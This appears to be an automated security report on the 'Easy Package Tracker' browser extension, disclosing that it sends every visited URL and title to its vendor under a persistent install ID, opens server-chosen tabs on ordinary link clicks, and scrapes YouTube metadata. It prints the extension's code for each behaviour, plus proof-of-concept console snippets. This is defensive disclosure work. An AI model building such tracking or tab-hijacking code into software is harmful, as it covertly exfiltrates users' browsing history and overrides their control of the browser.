Is Easy Package Tracker safe?
Easy Package Tracker reports the URL and title of every page you visit to its own server, tagged with a persistent install ID.
A background script fires on every completed page load across all sites, sending your browsing history to easypackagetrack.com tied to an ID minted for your install and reused on every request. On YouTube it goes further, fetching the video page itself and scraping its metadata into the same reports. It also reads that install ID back out to any webpage or embedded iframe that asks for it, and can silently open new tabs to a server-chosen destination after you click an ordinary link.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Easy Package Tracker tags every page load with one install-wide ID
Code analysis shows the background reports the URL and title of every page you load to a vendor ad endpoint, tagged with one ID minted at install and reused every time, linking your browsing across sites to one identifier.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You finish loading any ordinary website in your browser.
This fires for essentially any http(s) page, not only shopping or shipping sites.
The background service worker sends that page's full URL and title to a vendor ad server.
The report is tagged with an ID unique to your install, minted once and reused every time, so every report is linkable to the same install.
Every completed page load is reported with the same install-wide ID
onUpdated listener, renamed
serviceWorker.js:676-686chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { (async () => { if (changeInfo.status !== "complete") return; await handleWidgetTimeout(tabId); await handleWidgetLoad(tabId, tab); if (!tab || !tab.title || !tab.url) return; if (pageScopeTabs.has(tabId)) return; if (isYoutubeHost(tab.url)) return; await reportPage(tab); })();});reportPage + getOrMintUserId, renamed
serviceWorker.js:290-331 (reportPage), 168-181 (getOrMintUserId)async function getOrMintUserId() { let id = await readCachedUserId(); if (id) return id; const res = await fetch(`${API_BASE}/install.php`, { method: "POST" }); const json = await res.json().catch(() => null); id = String(json.userId); await cacheUserId(id); return id;}async function reportPage(tab, context) { try { const ctx = context && typeof context === "object" ? context : {}; const url = typeof ctx.pageUrl === "string" && ctx.pageUrl.trim() !== "" ? ctx.pageUrl : tab && tab.url ? tab.url : ""; const title = typeof ctx.pageTitle === "string" ? ctx.pageTitle : tab && tab.title ? tab.title : ""; if (!tab || !tab.id || !url) return; if (!(await widgetEnabled())) return; const keywords = ctx.description ? String(ctx.description).trim().substring(0, 5000) : ""; const userId = await getOrMintUserId(); const body = { userId, url, title, keywords }; const res = await fetch(`${API_BASE}/bid.php`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(body) }); const reply = await res.json().catch(() => ({})); await chrome.storage.local.set({ [tab.id]: reply }); } catch {}}- Page URLhttps://www.example-retailer.com/product/wireless-mouse
The exact address of the page you just finished loading.
- Page TitleWireless Mouse - Example Retailer
The page's <title> text, sent alongside the URL.
- Install ID8214736950182746301
A number assigned once when the extension was installed, then reused on every report so all your visits link to it.
- easypackagetrack.com
The vendor's own ad-serving backend for this extension. Mints the install ID via install.php and receives every page-load report via bid.php.
Reads the extension's cached per-install ID directly from its own storage, confirming it is a single value reused across reports.
- Chrome with the extension installed
- Developer mode enabled in chrome://extensions
// Run from the extension's own service worker console:// chrome://extensions -> enable Developer mode -> click the// "service worker" link under Easy Package Tracker -> Console tab.chrome.storage.local.get("userId", (result) => { console.log("Persistent install ID reused on every page-load report:", result.userId);});- 1Open chrome://extensions, enable Developer mode.
- 2Click "service worker" under Easy Package Tracker.
- 3Run this in the Console tab.
- 4Re-run after visiting other sites; the ID stays the same.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
A server-chosen instruction can open a new tab on your next ordinary link click
Code analysis shows that when 'Smart Flow' is enabled (the default), any ordinary link click on any page can trigger a brand-new tab to a server-chosen URL, which can be pinned or muted and later auto-focused, with no confirmation prompt.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You left-click any ordinary link on any website, unrelated to package tracking.
The content script's click listener fires for any unmodified click on a real http(s) anchor, on every page it runs on.
If a pending instruction exists for that tab, a brand-new tab opens to a URL the server chose, with no confirmation prompt.
The new tab can be opened pinned and muted, and alarms scheduled from the same instruction can later unpin or auto-focus it.
A link click anywhere can open a server-chosen tab when Smart Flow is on
click listener, renamed
package-widget.js:81-96function isPlainLinkClick(event) { try { let node = event.target; while (node && node.nodeName && node.nodeName.toLowerCase() !== "a" && node.parentNode instanceof Node) { node = node.parentNode; } if (node && node.nodeName && node.nodeName.toLowerCase() === "a") { const href = node.getAttribute("href"); const target = node.getAttribute("target"); const middleClick = event.button === 1; const isUrl = isValidUrl(href); return !(target || !isUrl || middleClick); } return false; } catch { return false; }}function attachClickListener() { if (!document.body) return; document.body.addEventListener("click", (event) => { if (!(event.target instanceof Element)) return; sendMessage({ type: "user-click", data: isPlainLinkClick(event) }); });}handleUserClick (V), renamed
serviceWorker.js:522-543async function handleUserClick(tabId, isPlainLink, tab) { if (!(await smartFlowEnabled())) { await clearPendingKey(tabId, "nta"); return; } const pending = await getTabRecord(tabId); if (!pending) return; const nta = pending.nta; if (!nta) return; const targetLink = nta.targetLink; if (!targetLink) return; if (!(await ntaCooldownElapsed())) return; const url = `${targetLink}${isPlainLink ? "&l=1" : ""}`; const newTab = await chrome.tabs.create({ url, active: !nta.delayed, pinned: (nta.pinned || 0) > 0 }); if (newTab && newTab.id) { await recordOpenedTab(newTab.id, { createdAt: Date.now(), openedUrl: url, sourceTabId: tabId }); await markLastOpenTime(); if (nta.muted) chrome.tabs.update(newTab.id, { muted: true }); if ((nta.pinned || 0) > 0) chrome.alarms.create(`unpin-tab-${newTab.id}`, { when: Date.now() + nta.pinned * 1000 }); if ((nta.delayed || 0) > 0) chrome.alarms.create(`focus-tab-${newTab.id}`, { when: Date.now() + nta.delayed * 1000 }); } await clearPendingKey(tabId, "nta");}- Target Linkhttps://partner-offers.example.net/landing?ref=ept
The URL the new tab navigates to. Nothing in the shipped code constrains or previews this value.
- Pinned (seconds)30
If set, the new tab opens pinned and an alarm unpins it after this many seconds.
- Delayed (seconds)10
If set, the tab opens in the background and an alarm brings it to the foreground after this delay.
- Mutedtrue
If true, the new tab's audio is muted immediately after it opens.
- easypackagetrack.com
Same vendor endpoint used for page reports; its bid.php responses can include the 'nta' object consumed by the click handler.
Seeds the exact record shape a server response writes for a tab, then one ordinary link click in that tab opens the seeded URL, proving the code path is real and reachable.
- Chrome with the extension installed
- Developer mode enabled in chrome://extensions
// Run from the extension's own service worker console:// chrome://extensions -> enable Developer mode -> click the// "service worker" link under Easy Package Tracker.//// Seeds the same record shape a bid.php response would write for the// CURRENT active tab, then any ordinary link click in that tab// triggers the extension's own handleUserClick() path.const [tab] = await chrome.tabs.query({ active: true, currentWindow: true });await chrome.storage.local.set({ [String(tab.id)]: { nta: { targetLink: "https://example.com/redirect-poc", pinned: 30, muted: true, delayed: 10 } }});console.log(`Seeded a pending redirect for tab ${tab.id}. Now click any plain link on that tab's page.`);- 1Open chrome://extensions, enable Developer mode.
- 2Click "service worker" under Easy Package Tracker, run this there.
- 3Click any plain link on the active tab's page.
- 4A new tab opens, pinned and muted.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Opening a YouTube video makes it re-fetch the page and report scraped metadata
Code analysis shows the content script re-fetches the YouTube video page you opened, scrapes meta-tag data from it, and reports that as keywords to the same vendor ad endpoint, tagged with your install-wide ID.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You open a youtube.com/watch or /shorts video, including via YouTube's own in-page navigation.
The content script watches the page for this path pattern and reacts even without a full page reload.
The content script fetches that same page's HTML a second time and scrapes meta-tag video metadata out of it.
The scraped description is then reported to a vendor ad server as 'keywords', tagged with the same install-wide ID used for ordinary page reports.
The content script fetches the video page itself and scrapes off-screen meta tags
function onNavigate() { const onYoutube = isYoutubeHost(window.location.href); sendMessage({ type: "page-scope", data: onYoutube }); if (!onYoutube) { sendMessage({ type: "page-probe", data: { pageUrl: window.location.href, pageTitle: document.title || "" } }); return; } const titleEl = document.querySelector("title"); const checkPath = debounce((currentUrl) => { if (!isWatchOrShortsPath(currentUrl)) return; // The content script fetches the current video page's HTML itself, // separate from the browser's own navigation. fetch(currentUrl) .then((res) => res.text()) .then((html) => { const scraped = {}; const doc = new DOMParser().parseFromString(html, "text/html"); Array.from(doc.getElementsByTagName("meta")).forEach((meta) => { const key = meta.getAttribute("itemprop"); if (key && ["name", "description", "genre"].includes(key)) { scraped[key] = meta.getAttribute("content"); } }); sendMessage({ type: "page-context", data: Object.assign({ pageUrl: currentUrl, pageTitle: document.title || "" }, scraped) }); }); }, 200); const observer = new MutationObserver(() => checkPath(document.location.href)); if (titleEl) observer.observe(titleEl, { childList: true }); checkPath(document.location.href);}- Video URLhttps://www.youtube.com/watch?v=dQw4w9WgXcQ
The watch or shorts URL you opened.
- KeywordsOfficial trailer for the upcoming documentary series, produced by Example Studios.
The video's own description meta tag, scraped by the content script's extra fetch, truncated to 5000 characters.
- Install ID8214736950182746301
The same install-wide ID used to report your ordinary page visits.
- easypackagetrack.com
Same endpoint and install ID used for the extension's general page-load reports; bid.php receives the video keywords here too.
Reproduces the content script's own meta-tag scrape on a YouTube watch page, showing exactly what it would report as keywords.
- A youtube.com/watch or /shorts page open
// Run in the DevTools console on any youtube.com/watch?v=... or// /shorts/... page. Reproduces package-widget.js's own re-fetch and// meta scrape (itemprop name/description/genre) without needing the// extension installed.fetch(location.href) .then((res) => res.text()) .then((html) => { const doc = new DOMParser().parseFromString(html, "text/html"); const wanted = ["name", "description", "genre"]; const scraped = {}; doc.querySelectorAll("meta[itemprop]").forEach((meta) => { const key = meta.getAttribute("itemprop"); if (wanted.includes(key)) scraped[key] = meta.getAttribute("content"); }); console.log("Fields the extension would report as 'keywords':", scraped); });- 1Open any youtube.com/watch?v=... or /shorts/... video.
- 2Open DevTools and switch to the Console.
- 3Paste and run this script.
- 4The printed object matches what package-widget.js scrapes and sends to bid.php as 'keywords'.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Easy Package Tracker contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- easypackagetrack.com
Easy Package Tracker sends data to easypackagetrack.com. No other extension we have analysed sends data here.